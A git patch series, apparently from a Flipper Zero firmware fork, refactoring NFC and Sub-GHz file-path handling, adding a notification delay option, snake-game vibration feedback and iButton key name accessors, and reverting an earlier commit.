+ ValidatorIsFile* validator_is_file = + validator_is_file_alloc_init(NFC_APP_FOLDER, NFC_APP_EXTENSION, nfc->dev->dev_name); text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewTextInput); - - string_clear(folder_path); } bool nfc_scene_save_name_on_event(void* context, SceneManagerEvent event) { @@ -56,7 +43,7 @@ bool nfc_scene_save_name_on_event(void* context, SceneManagerEvent event) { if(event.type == SceneManagerEventTypeCustom) { if(event.event == NfcCustomEventTextInputDone) { if(strcmp(nfc->dev->dev_name, "")) { - nfc_device_delete(nfc->dev, true); + nfc_device_delete(nfc->dev); } if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneSetUid)) { nfc->dev->dev_data.nfc_data = nfc->dev_edit_data; diff --git a/applications/nfc/scenes/nfc_scene_save_success.c b/applications/nfc/scenes/nfc_scene_save_success.c index 5c15a509a..985897a6d 100644 --- a/applications/nfc/scenes/nfc_scene_save_success.c +++ b/applications/nfc/scenes/nfc_scene_save_success.c @@ -30,6 +30,9 @@ bool nfc_scene_save_success_on_event(void* context, SceneManagerEvent event) { if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneCardMenu)) { consumed = scene_manager_search_and_switch_to_previous_scene( nfc->scene_manager, NfcSceneCardMenu); + } else if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneSetType)) { + consumed = scene_manager_search_and_switch_to_another_scene( + nfc->scene_manager, NfcSceneFileSelect); } else if(scene_manager_has_previous_scene( nfc->scene_manager, NfcSceneMifareDesfireMenu)) { consumed = scene_manager_search_and_switch_to_previous_scene( diff --git a/applications/nfc/scenes/nfc_scene_saved_menu.c b/applications/nfc/scenes/nfc_scene_saved_menu.c index f2b2dea37..1b435ccd1 100644 --- a/applications/nfc/scenes/nfc_scene_saved_menu.c +++ b/applications/nfc/scenes/nfc_scene_saved_menu.c @@ -78,7 +78,7 @@ bool nfc_scene_saved_menu_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(nfc->scene_manager, NfcSceneDeviceInfo); consumed = true; } else if(event.event == SubmenuIndexRestoreOriginal) { - if(!nfc_device_restore(nfc->dev, true)) { + if(!nfc_device_restore(nfc->dev)) { scene_manager_search_and_switch_to_previous_scene( nfc->scene_manager, NfcSceneStart); } else { diff --git a/applications/nfc/scenes/nfc_scene_set_type.c b/applications/nfc/scenes/nfc_scene_set_type.c index 0fe63424f..0dbb4f7ea 100755 --- a/applications/nfc/scenes/nfc_scene_set_type.c +++ b/applications/nfc/scenes/nfc_scene_set_type.c @@ -1,5 +1,4 @@ #include "../nfc_i.h" -#include "m-string.h" enum SubmenuIndex { SubmenuIndexNFCA4, @@ -17,7 +16,6 @@ void nfc_scene_set_type_on_enter(void* context) { Submenu* submenu = nfc->submenu; // Clear device name nfc_device_set_name(nfc->dev, ""); - string_set_str(nfc->dev->load_path, ""); submenu_add_item( submenu, "NFC-A 7-bytes UID", SubmenuIndexNFCA7, nfc_scene_set_type_submenu_callback, nfc); submenu_add_item( diff --git a/applications/notification/notification_settings_app.c b/applications/notification/notification_settings_app.c index bcb1b6a27..8254473fe 100644 --- a/applications/notification/notification_settings_app.c +++ b/applications/notification/notification_settings_app.c @@ -46,16 +46,17 @@ const char* const volume_text[VOLUME_COUNT] = { }; const float volume_value[VOLUME_COUNT] = {0.0f, 0.25f, 0.5f, 0.75f, 1.0f}; -#define DELAY_COUNT 6 +#define DELAY_COUNT 7 const char* const delay_text[DELAY_COUNT] = { "1s", "5s", "15s", "30s", "60s", + "90s", "120s", }; -const uint32_t delay_value[DELAY_COUNT] = {1000, 5000, 15000, 30000, 60000, 120000}; +const uint32_t delay_value[DELAY_COUNT] = {1000, 5000, 15000, 30000, 60000, 90000, 120000}; #define VIBRO_COUNT 2 const char* const vibro_text[VIBRO_COUNT] = { diff --git a/applications/snake_game/snake_game.c b/applications/snake_game/snake_game.c index bb9e207de..b07210ee5 100644 --- a/applications/snake_game/snake_game.c +++ b/applications/snake_game/snake_game.c @@ -2,6 +2,8 @@ #include #include #include +#include +#include typedef struct { // +-----x @@ -298,6 +300,11 @@ static void snake_game_process_game_step(SnakeState* const snake_state) { bool eatFruit = (next_step.x == snake_state->fruit.x) && (next_step.y == snake_state->fruit.y); if(eatFruit) { + NotificationApp* notification = furi_record_open("notification"); + notification_message(notification, &sequence_single_vibro); + notification_message(notification, &sequence_blink_white_100); + furi_record_close("notification"); + snake_state->len++; if(snake_state->len >= MAX_SNAKE_LEN) { snake_state->state = GameStateGameOver; diff --git a/applications/subghz/scenes/subghz_scene_delete.c b/applications/subghz/scenes/subghz_scene_delete.c index 43151de20..83d6d4751 100644 --- a/applications/subghz/scenes/subghz_scene_delete.c +++ b/applications/subghz/scenes/subghz_scene_delete.c @@ -49,7 +49,7 @@ bool subghz_scene_delete_on_event(void* context, SceneManagerEvent event) { SubGhz* subghz = context; if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventSceneDelete) { - string_set(subghz->file_path_tmp, subghz->file_path); + strncpy(subghz->file_path_tmp, subghz->file_path, SUBGHZ_MAX_LEN_NAME); if(subghz_delete_file(subghz)) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneDeleteSuccess); } else { diff --git a/applications/subghz/scenes/subghz_scene_delete_raw.c b/applications/subghz/scenes/subghz_scene_delete_raw.c index a20968d5b..03f0eb81b 100644 --- a/applications/subghz/scenes/subghz_scene_delete_raw.c +++ b/applications/subghz/scenes/subghz_scene_delete_raw.c @@ -24,7 +24,7 @@ void subghz_scene_delete_raw_on_enter(void* context) { char delete_str[SUBGHZ_MAX_LEN_NAME + 16]; string_t file_name; string_init(file_name); - path_extract_filename(subghz->file_path, file_name, true); + path_extract_filename_no_ext(subghz->file_path, file_name); snprintf(delete_str, sizeof(delete_str), "\e#Delete %s?\e#", string_get_cstr(file_name)); string_clear(file_name); @@ -61,7 +61,7 @@ bool subghz_scene_delete_raw_on_event(void* context, SceneManagerEvent event) { SubGhz* subghz = context; if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventSceneDeleteRAW) { - string_set(subghz->file_path_tmp, subghz->file_path); + strncpy(subghz->file_path_tmp, subghz->file_path, SUBGHZ_MAX_LEN_NAME); if(subghz_delete_file(subghz)) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneDeleteSuccess); } else { diff --git a/applications/subghz/scenes/subghz_scene_more_raw.c b/applications/subghz/scenes/subghz_scene_more_raw.c index a5bade927..54bd08158 100644 --- a/applications/subghz/scenes/subghz_scene_more_raw.c +++ b/applications/subghz/scenes/subghz_scene_more_raw.c @@ -45,7 +45,7 @@ bool subghz_scene_more_raw_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneDeleteRAW); return true; } else if(event.event == SubmenuIndexEdit) { - string_reset(subghz->file_path_tmp); + memset(subghz->file_path_tmp, 0, sizeof(subghz->file_path_tmp)); scene_manager_set_scene_state( subghz->scene_manager, SubGhzSceneMoreRAW, SubmenuIndexEdit); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSaveName); diff --git a/applications/subghz/scenes/subghz_scene_save_name.c b/applications/subghz/scenes/subghz_scene_save_name.c index 95fc19388..617709cc7 100644 --- a/applications/subghz/scenes/subghz_scene_save_name.c +++ b/applications/subghz/scenes/subghz_scene_save_name.c @@ -1,6 +1,4 @@ #include "../subghz_i.h" -#include "m-string.h" -#include "subghz/types.h" #include #include "../helpers/subghz_custom_event.h" #include @@ -22,49 +20,45 @@ void subghz_scene_save_name_on_enter(void* context) { bool dev_name_empty = false; string_t file_name; - string_t dir_name; string_init(file_name); - string_init(dir_name); - if(!subghz_path_is_file(subghz->file_path)) { + if(!strcmp(subghz->file_path, "")) { char file_name_buf[SUBGHZ_MAX_LEN_NAME] = {0}; set_random_name(file_name_buf, SUBGHZ_MAX_LEN_NAME); - string_set_str(file_name, file_name_buf); - string_set_str(subghz->file_path, SUBGHZ_APP_FOLDER); + string_set(file_name, file_name_buf); + strncpy(subghz->file_dir, SUBGHZ_APP_FOLDER, SUBGHZ_MAX_LEN_NAME); //highlighting the entire filename by default dev_name_empty = true; } else { - string_set(subghz->file_path_tmp, subghz->file_path); - path_extract_dirname(string_get_cstr(subghz->file_path), dir_name); - path_extract_filename(subghz->file_path, file_name, true); + strncpy(subghz->file_path_tmp, subghz->file_path, SUBGHZ_MAX_LEN_NAME); + path_extract_dirname(subghz->file_path, file_name); + strncpy(subghz->file_dir, string_get_cstr(file_name), SUBGHZ_MAX_LEN_NAME); + path_extract_filename_no_ext(subghz->file_path, file_name); if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) != SubGhzCustomEventManagerNoSet) { subghz_get_next_name_file(subghz, SUBGHZ_MAX_LEN_NAME); - path_extract_filename(subghz->file_path, file_name, true); + path_extract_filename_no_ext(subghz->file_path, file_name); if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) == SubGhzCustomEventManagerSetRAW) { dev_name_empty = true; } } - string_set(subghz->file_path, dir_name); } - - strncpy(subghz->file_name_tmp, string_get_cstr(file_name), SUBGHZ_MAX_LEN_NAME); + strncpy(subghz->file_path, string_get_cstr(file_name), SUBGHZ_MAX_LEN_NAME); text_input_set_header_text(text_input, "Name signal"); text_input_set_result_callback( text_input, subghz_scene_save_name_text_input_callback, subghz, - subghz->file_name_tmp, + subghz->file_path, MAX_TEXT_INPUT_LEN, // buffer size dev_name_empty); - ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( - string_get_cstr(subghz->file_path), SUBGHZ_APP_EXTENSION, NULL); + ValidatorIsFile* validator_is_file = + validator_is_file_alloc_init(subghz->file_dir, SUBGHZ_APP_EXTENSION, NULL); text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); string_clear(file_name); - string_clear(dir_name); view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdTextInput); } @@ -72,15 +66,18 @@ void subghz_scene_save_name_on_enter(void* context) { bool subghz_scene_save_name_on_event(void* context, SceneManagerEvent event) { SubGhz* subghz = context; if(event.type == SceneManagerEventTypeBack) { - string_set(subghz->file_path, subghz->file_path_tmp); + strncpy(subghz->file_path, subghz->file_path_tmp, SUBGHZ_MAX_LEN_NAME); scene_manager_previous_scene(subghz->scene_manager); return true; } else if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventSceneSaveName) { - if(strcmp(subghz->file_name_tmp, "")) { - string_cat_printf( - subghz->file_path, "/%s%s", subghz->file_name_tmp, SUBGHZ_APP_EXTENSION); - if(subghz_path_is_file(subghz->file_path_tmp)) { + if(strcmp(subghz->file_path, "")) { + string_t temp_str; + string_init_printf( + temp_str, "%s/%s%s", subghz->file_dir, subghz->file_path, SUBGHZ_APP_EXTENSION); + strncpy(subghz->file_path, string_get_cstr(temp_str), SUBGHZ_MAX_LEN_NAME); + string_clear(temp_str); + if(strcmp(subghz->file_path_tmp, "")) { if(!subghz_rename_file(subghz)) { return false; } @@ -88,7 +85,7 @@ bool subghz_scene_save_name_on_event(void* context, SceneManagerEvent event) { if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneSetType) != SubGhzCustomEventManagerNoSet) { subghz_save_protocol_to_file( - subghz, subghz->txrx->fff_data, string_get_cstr(subghz->file_path)); + subghz, subghz->txrx->fff_data, subghz->file_path); scene_manager_set_scene_state( subghz->scene_manager, SubGhzSceneSetType, @@ -98,14 +95,13 @@ bool subghz_scene_save_name_on_event(void* context, SceneManagerEvent event) { subghz, subghz_history_get_raw_data( subghz->txrx->history, subghz->txrx->idx_menu_chosen), - string_get_cstr(subghz->file_path)); + subghz->file_path); } } if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) != SubGhzCustomEventManagerNoSet) { - subghz_protocol_raw_gen_fff_data( - subghz->txrx->fff_data, string_get_cstr(subghz->file_path)); + subghz_protocol_raw_gen_fff_data(subghz->txrx->fff_data, subghz->file_path); scene_manager_set_scene_state( subghz->scene_manager, SubGhzSceneReadRAW, SubGhzCustomEventManagerNoSet); } else { @@ -115,7 +111,7 @@ bool subghz_scene_save_name_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSaveSuccess); return true; } else { - string_set_str(subghz->error_str, "No name file"); + string_set(subghz->error_str, "No name file"); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub); return true; } diff --git a/applications/subghz/scenes/subghz_scene_transmitter.c b/applications/subghz/scenes/subghz_scene_transmitter.c index b8b22749c..38ab84994 100644 --- a/applications/subghz/scenes/subghz_scene_transmitter.c +++ b/applications/subghz/scenes/subghz_scene_transmitter.c @@ -94,7 +94,7 @@ bool subghz_scene_transmitter_on_event(void* context, SceneManagerEvent event) { subghz->scene_manager, SubGhzSceneStart); return true; } else if(event.event == SubGhzCustomEventViewTransmitterError) { - string_set_str(subghz->error_str, "Protocol not found"); + string_set(subghz->error_str, "Protocol not found"); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub); } } else if(event.type == SceneManagerEventTypeTick) { diff --git a/applications/subghz/subghz_cli.c b/applications/subghz/subghz_cli.c index 6c92a5d6b..f919e1cf2 100644 --- a/applications/subghz/subghz_cli.c +++ b/applications/subghz/subghz_cli.c @@ -303,7 +303,7 @@ void subghz_cli_command_decode_raw(Cli* cli, string_t args, void* context) { UNUSED(context); string_t file_name; string_init(file_name); - string_set_str(file_name, "/any/subghz/test.sub"); + string_set(file_name, "/any/subghz/test.sub"); Storage* storage = furi_record_open("storage"); FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); diff --git a/applications/subghz/subghz_history.c b/applications/subghz/subghz_history.c index a8f86eecb..cb30726ba 100644 --- a/applications/subghz/subghz_history.c +++ b/applications/subghz/subghz_history.c @@ -169,14 +169,14 @@ bool subghz_history_add_to_history( break; } if(!strcmp(string_get_cstr(instance->tmp_string), "KeeLoq")) { - string_set_str(instance->tmp_string, "KL "); + string_set(instance->tmp_string, "KL "); if(!flipper_format_read_string(item->flipper_string, "Manufacture", text)) { FURI_LOG_E(TAG, "Missing Protocol"); break; } string_cat(instance->tmp_string, text); } else if(!strcmp(string_get_cstr(instance->tmp_string), "Star Line")) { - string_set_str(instance->tmp_string, "SL "); + string_set(instance->tmp_string, "SL "); if(!flipper_format_read_string(item->flipper_string, "Manufacture", text)) { FURI_LOG_E(TAG, "Missing Protocol"); break; diff --git a/applications/subghz/subghz_i.c b/applications/subghz/subghz_i.c index 5439fd2a9..690e85f74 100644 --- a/applications/subghz/subghz_i.c +++ b/applications/subghz/subghz_i.c @@ -1,8 +1,5 @@ #include "subghz_i.h" -#include "assets_icons.h" -#include "m-string.h" -#include "subghz/types.h" #include #include #include @@ -48,11 +45,11 @@ void subghz_get_frequency_modulation(SubGhz* subghz, string_t frequency, string_ if(modulation != NULL) { if(subghz->txrx->preset == FuriHalSubGhzPresetOok650Async || subghz->txrx->preset == FuriHalSubGhzPresetOok270Async) { - string_set_str(modulation, "AM"); + string_set(modulation, "AM"); } else if( subghz->txrx->preset == FuriHalSubGhzPreset2FSKDev238Async || subghz->txrx->preset == FuriHalSubGhzPreset2FSKDev476Async) { - string_set_str(modulation, "FM"); + string_set(modulation, "FM"); } else { furi_crash("SugGhz: Modulation is incorrect."); } @@ -194,9 +191,8 @@ void subghz_tx_stop(SubGhz* subghz) { //if protocol dynamic then we save the last upload if((subghz->txrx->decoder_result->protocol->type == SubGhzProtocolTypeDynamic) && - (subghz_path_is_file(subghz->file_path))) { - subghz_save_protocol_to_file( - subghz, subghz->txrx->fff_data, string_get_cstr(subghz->file_path)); + (strcmp(subghz->file_path, ""))) { + subghz_save_protocol_to_file(subghz, subghz->txrx->fff_data, subghz->file_path); } subghz_idle(subghz); notification_message(subghz->notifications, &sequence_reset_red); @@ -338,10 +334,10 @@ bool subghz_get_next_name_file(SubGhz* subghz, uint8_t max_len) { bool res = false; - if(subghz_path_is_file(subghz->file_path)) { + if(strcmp(subghz->file_path, "")) { //get the name of the next free file - path_extract_filename(subghz->file_path, file_name, true); - path_extract_dirname(string_get_cstr(subghz->file_path), file_path); + path_extract_filename_no_ext(subghz->file_path, file_name); + path_extract_dirname(subghz->file_path, file_path); storage_get_next_filename( storage, @@ -357,7 +353,7 @@ bool subghz_get_next_name_file(SubGhz* subghz, uint8_t max_len) { string_get_cstr(file_path), string_get_cstr(file_name), SUBGHZ_APP_EXTENSION); - string_set(subghz->file_path, temp_str); + strncpy(subghz->file_path, string_get_cstr(temp_str), SUBGHZ_MAX_LEN_NAME); res = true; } @@ -417,17 +413,19 @@ bool subghz_load_protocol_from_file(SubGhz* subghz) { string_init(file_path); // Input events and views are managed by file_select - bool res = dialog_file_browser_show( + bool res = dialog_file_select_show( subghz->dialogs, - subghz->file_path, - subghz->file_path, + SUBGHZ_APP_FOLDER, SUBGHZ_APP_EXTENSION, - true, - &I_sub1_10px, - true); + subghz->file_path, + sizeof(subghz->file_path), + NULL); if(res) { - res = subghz_key_load(subghz, string_get_cstr(subghz->file_path)); + string_printf( + file_path, "%s/%s%s", SUBGHZ_APP_FOLDER, subghz->file_path, SUBGHZ_APP_EXTENSION); + strncpy(subghz->file_path, string_get_cstr(file_path), SUBGHZ_MAX_LEN_NAME); + res = subghz_key_load(subghz, subghz->file_path); } string_clear(file_path); @@ -441,9 +439,9 @@ bool subghz_rename_file(SubGhz* subghz) { Storage* storage = furi_record_open("storage"); - if(string_cmp(subghz->file_path_tmp, subghz->file_path)) { - FS_Error fs_result = storage_common_rename( - storage, string_get_cstr(subghz->file_path_tmp), string_get_cstr(subghz->file_path)); + if(strcmp(subghz->file_path_tmp, subghz->file_path)) { + FS_Error fs_result = + storage_common_rename(storage, subghz->file_path_tmp, subghz->file_path); if(fs_result != FSE_OK) { dialog_message_show_storage_error(subghz->dialogs, "Cannot rename\n file/directory"); @@ -459,7 +457,7 @@ bool subghz_delete_file(SubGhz* subghz) { furi_assert(subghz); Storage* storage = furi_record_open("storage"); - bool result = storage_simply_remove(storage, string_get_cstr(subghz->file_path_tmp)); + bool result = storage_simply_remove(storage, subghz->file_path_tmp); furi_record_close("storage"); subghz_file_name_clear(subghz); @@ -469,12 +467,8 @@ bool subghz_delete_file(SubGhz* subghz) { void subghz_file_name_clear(SubGhz* subghz) { furi_assert(subghz); - string_set_str(subghz->file_path, SUBGHZ_APP_FOLDER); - string_reset(subghz->file_path_tmp); -} - -bool subghz_path_is_file(string_t path) { - return string_end_with_str_p(path, SUBGHZ_APP_EXTENSION); + memset(subghz->file_path, 0, sizeof(subghz->file_path)); + memset(subghz->file_path_tmp, 0, sizeof(subghz->file_path_tmp)); } uint32_t subghz_random_serial(void) { diff --git a/applications/subghz/views/receiver.c b/applications/subghz/views/receiver.c index 866d82726..7b19cbcf2 100644 --- a/applications/subghz/views/receiver.c +++ b/applications/subghz/views/receiver.c @@ -111,9 +111,9 @@ void subghz_view_receiver_add_data_statusbar( furi_assert(subghz_receiver); with_view_model( subghz_receiver->view, (SubGhzViewReceiverModel * model) { - string_set_str(model->frequency_str, frequency_str); - string_set_str(model->preset_str, preset_str); - string_set_str(model->history_stat_str, history_stat_str); + string_set(model->frequency_str, frequency_str); + string_set(model->preset_str, preset_str); + string_set(model->history_stat_str, history_stat_str); return true; }); } diff --git a/applications/subghz/views/subghz_read_raw.c b/applications/subghz/views/subghz_read_raw.c index a4807d775..ff3ba45a3 100644 --- a/applications/subghz/views/subghz_read_raw.c +++ b/applications/subghz/views/subghz_read_raw.c @@ -46,8 +46,8 @@ void subghz_read_raw_add_data_statusbar( furi_assert(instance); with_view_model( instance->view, (SubGhzReadRAWModel * model) { - string_set_str(model->frequency_str, frequency_str); - string_set_str(model->preset_str, preset_str); + string_set(model->frequency_str, frequency_str); + string_set(model->preset_str, preset_str); return true; }); } @@ -372,7 +372,7 @@ bool subghz_read_raw_input(InputEvent* event, void* context) { model->satus = SubGhzReadRAWStatusStart; model->rssi_history_end = false; model->ind_write = 0; - string_set_str(model->sample_write, "0 spl."); + string_set(model->sample_write, "0 spl."); string_reset(model->file_name); instance->callback(SubGhzCustomEventViewReadRAWErase, instance->context); } @@ -424,7 +424,7 @@ void subghz_read_raw_set_status( model->rssi_history_end = false; model->ind_write = 0; string_reset(model->file_name); - string_set_str(model->sample_write, "0 spl."); + string_set(model->sample_write, "0 spl."); return true; }); break; @@ -441,8 +441,8 @@ void subghz_read_raw_set_status( model->satus = SubGhzReadRAWStatusLoadKeyIDLE; model->rssi_history_end = false; model->ind_write = 0; - string_set_str(model->file_name, file_name); - string_set_str(model->sample_write, "RAW"); + string_set(model->file_name, file_name); + string_set(model->sample_write, "RAW"); return true; }); break; @@ -451,8 +451,8 @@ void subghz_read_raw_set_status( instance->view, (SubGhzReadRAWModel * model) { model->satus = SubGhzReadRAWStatusLoadKeyIDLE; if(!model->ind_write) { - string_set_str(model->file_name, file_name); - string_set_str(model->sample_write, "RAW"); + string_set(model->file_name, file_name); + string_set(model->sample_write, "RAW"); } else { string_reset(model->file_name); } diff --git a/applications/subghz/views/transmitter.c b/applications/subghz/views/transmitter.c index 3cbcf098a..3113e31f6 100644 --- a/applications/subghz/views/transmitter.c +++ b/applications/subghz/views/transmitter.c @@ -36,9 +36,9 @@ void subghz_view_transmitter_add_data_to_show( furi_assert(subghz_transmitter); with_view_model( subghz_transmitter->view, (SubGhzViewTransmitterModel * model) { - string_set_str(model->key_str, key_str); - string_set_str(model->frequency_str, frequency_str); - string_set_str(model->preset_str, preset_str); + string_set(model->key_str, key_str); + string_set(model->frequency_str, frequency_str); + string_set(model->preset_str, preset_str); model->show_button = show_button; return true; }); diff --git a/assets/icons/Archive/music_10px.png b/assets/icons/Archive/music_10px.png deleted file mode 100644 index d41eb0db8c822c60be6c097393b3682680b81a6c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 142 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2xGmzZ=C-xtZVhivIasA%~WHIdey2}7aaTa() z7Bet#3xhBt!>l_x9Asc&(0a_=e)W&n8K5!-Pgg&ebxsLQ0Ao%f>i_@% diff --git a/firmware/targets/f7/target.mk b/firmware/targets/f7/target.mk index 8e58a71c9..4b019cae8 100644 --- a/firmware/targets/f7/target.mk +++ b/firmware/targets/f7/target.mk @@ -19,9 +19,8 @@ endif MCU_FLAGS = -mcpu=cortex-m4 -mthumb -mfpu=fpv4-sp-d16 -mfloat-abi=hard # Warnings configuration -CFLAGS += -Wall -Wextra -Wredundant-decls -Wdouble-promotion +CFLAGS += $(MCU_FLAGS) -DSTM32WB55xx -Wall -fdata-sections -ffunction-sections -CFLAGS += $(MCU_FLAGS) -DSTM32WB55xx -fdata-sections -ffunction-sections -fsingle-precision-constant LDFLAGS += $(MCU_FLAGS) -specs=nosys.specs -specs=nano.specs CPPFLAGS += -fno-rtti -fno-use-cxa-atexit -fno-exceptions diff --git a/lib/one_wire/ibutton/ibutton_key.c b/lib/one_wire/ibutton/ibutton_key.c index 2c0f7fa26..c6d4466f0 100644 --- a/lib/one_wire/ibutton/ibutton_key.c +++ b/lib/one_wire/ibutton/ibutton_key.c @@ -4,6 +4,7 @@ struct iButtonKey { uint8_t data[IBUTTON_KEY_DATA_SIZE]; + char name[IBUTTON_KEY_NAME_SIZE]; iButtonKeyType type; }; @@ -41,6 +42,14 @@ uint8_t ibutton_key_get_data_size(iButtonKey* key) { return ibutton_key_get_size_by_type(key->type); } +void ibutton_key_set_name(iButtonKey* key, const char* name) { + strlcpy(key->name, name, IBUTTON_KEY_NAME_SIZE); +} + +const char* ibutton_key_get_name_p(iButtonKey* key) { + return key->name; +} + void ibutton_key_set_type(iButtonKey* key, iButtonKeyType key_type) { key->type = key_type; } diff --git a/lib/one_wire/ibutton/ibutton_key.h b/lib/one_wire/ibutton/ibutton_key.h index f66537d7e..8d6732bcb 100644 --- a/lib/one_wire/ibutton/ibutton_key.h +++ b/lib/one_wire/ibutton/ibutton_key.h @@ -68,6 +68,20 @@ const uint8_t* ibutton_key_get_data_p(iButtonKey* key); */ uint8_t ibutton_key_get_data_size(iButtonKey* key); +/** + * Set key name + * @param key + * @param name + */ +void ibutton_key_set_name(iButtonKey* key, const char* name); + +/** + * Get pointer to key name + * @param key + * @return const char* + */ +const char* ibutton_key_get_name_p(iButtonKey* key); + /** * Set key type * @param key diff --git a/lib/subghz/subghz_keystore.c b/lib/subghz/subghz_keystore.c index d3903bc51..d64e1fda2 100644 --- a/lib/subghz/subghz_keystore.c +++ b/lib/subghz/subghz_keystore.c @@ -334,6 +334,7 @@ bool subghz_keystore_save(SubGhzKeystore* instance, const char* file_name, uint8 SubGhzKeyArray_t* subghz_keystore_get_data(SubGhzKeystore* instance) { furi_assert(instance); return &instance->data; + FURI_LOG_I(TAG, "array: \n", &instance->data); } bool subghz_keystore_raw_encrypted_save( diff --git a/lib/toolbox/path.c b/lib/toolbox/path.c index a99e57d1f..4fd042e41 100644 --- a/lib/toolbox/path.c +++ b/lib/toolbox/path.c @@ -19,20 +19,6 @@ void path_extract_filename_no_ext(const char* path, string_t filename) { string_mid(filename, start_position, end_position - start_position); } -void path_extract_filename(string_t path, string_t name, bool trim_ext) { - size_t filename_start = string_search_rchar(path, '/'); - if(filename_start > 0) { - filename_start++; - string_set_n(name, path, filename_start, string_size(path) - filename_start); - } - if(trim_ext) { - size_t dot = string_search_rchar(name, '.'); - if(dot > 0) { - string_left(name, dot); - } - } -} - static inline void path_cleanup(string_t path) { string_strim(path); while(string_end_with_str_p(path, "/")) { diff --git a/lib/toolbox/path.h b/lib/toolbox/path.h index 76e501cc1..0de63bb2b 100644 --- a/lib/toolbox/path.h +++ b/lib/toolbox/path.h @@ -14,15 +14,6 @@ extern "C" { */ void path_extract_filename_no_ext(const char* path, string_t filename); -/** - * @brief Extract filename string from path. - * - * @param path path string - * @param filename output filename string. Must be initialized before. - * @param trim_ext true - get filename without extension - */ -void path_extract_filename(string_t path, string_t filename, bool trim_ext); - /** * @brief Extract last path component * From 5b3b37996aa7b33ff65b97041c93c197354ef80b Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 22:18:41 +0300 Subject: [PATCH 238/461] Revert "fixes" This reverts commit 310e140024be7acbbd5d195fb2575739e0d40c5d. --- .../subghz/scenes/subghz_scene_read_raw.c | 18 +++++++++++------- .../subghz/scenes/subghz_scene_set_type.c | 8 ++++---- applications/subghz/subghz.c | 18 ++++++------------ applications/subghz/subghz_i.h | 12 ++++++------ 4 files changed, 27 insertions(+), 29 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_read_raw.c b/applications/subghz/scenes/subghz_scene_read_raw.c index 93991cd8d..5323bfe58 100644 --- a/applications/subghz/scenes/subghz_scene_read_raw.c +++ b/applications/subghz/scenes/subghz_scene_read_raw.c @@ -25,7 +25,7 @@ bool subghz_scene_read_raw_update_filename(SubGhz* subghz) { break; } - string_set(subghz->file_path, temp_str); + strncpy(subghz->file_path, string_get_cstr(temp_str), SUBGHZ_MAX_LEN_NAME); ret = true; } while(false); @@ -75,13 +75,13 @@ void subghz_scene_read_raw_on_enter(void* context) { subghz_read_raw_set_status(subghz->subghz_read_raw, SubGhzReadRAWStatusIDLE, ""); break; case SubGhzRxKeyStateRAWLoad: - path_extract_filename(subghz->file_path, file_name, true); + path_extract_filename_no_ext(subghz->file_path, file_name); subghz_read_raw_set_status( subghz->subghz_read_raw, SubGhzReadRAWStatusLoadKeyTX, string_get_cstr(file_name)); subghz->txrx->rx_key_state = SubGhzRxKeyStateIDLE; break; case SubGhzRxKeyStateRAWSave: - path_extract_filename(subghz->file_path, file_name, true); + path_extract_filename_no_ext(subghz->file_path, file_name); subghz_read_raw_set_status( subghz->subghz_read_raw, SubGhzReadRAWStatusSaveKey, string_get_cstr(file_name)); subghz->txrx->rx_key_state = SubGhzRxKeyStateIDLE; @@ -170,6 +170,10 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { case SubGhzCustomEventViewReadRAWErase: subghz->txrx->rx_key_state = SubGhzRxKeyStateIDLE; + if(subghz_scene_read_raw_update_filename(subghz)) { + strncpy(subghz->file_path_tmp, subghz->file_path, SUBGHZ_MAX_LEN_NAME); + subghz_delete_file(subghz); + } notification_message(subghz->notifications, &sequence_reset_rgb); return true; break; @@ -249,7 +253,7 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { ); string_printf( - temp_str, "%s/%s%s", SUBGHZ_RAW_FOLDER, RAW_FILE_NAME, SUBGHZ_APP_EXTENSION); + temp_str, "%s/%s%s", SUBGHZ_RAW_FOLDER, strings[0], SUBGHZ_APP_EXTENSION); subghz_protocol_raw_gen_fff_data(subghz->txrx->fff_data, string_get_cstr(temp_str)); string_clear(temp_str); @@ -280,7 +284,7 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { if(subghz_protocol_raw_save_to_file_init( (SubGhzProtocolDecoderRAW*)subghz->txrx->decoder_result, - RAW_FILE_NAME,, + strings[0], subghz->txrx->frequency, subghz->txrx->preset)) { DOLPHIN_DEED(DolphinDeedSubGhzRawRec); @@ -292,7 +296,7 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { subghz->state_notifications = SubGhzNotificationStateRx; subghz->txrx->rx_key_state = SubGhzRxKeyStateAddKey; } else { - string_set_str(subghz->error_str, "Function requires\nan SD card."); + string_set(subghz->error_str, "Function requires\nan SD card."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } } @@ -346,4 +350,4 @@ void subghz_scene_read_raw_on_exit(void* context) { //filter restoration subghz_receiver_set_filter(subghz->txrx->receiver, 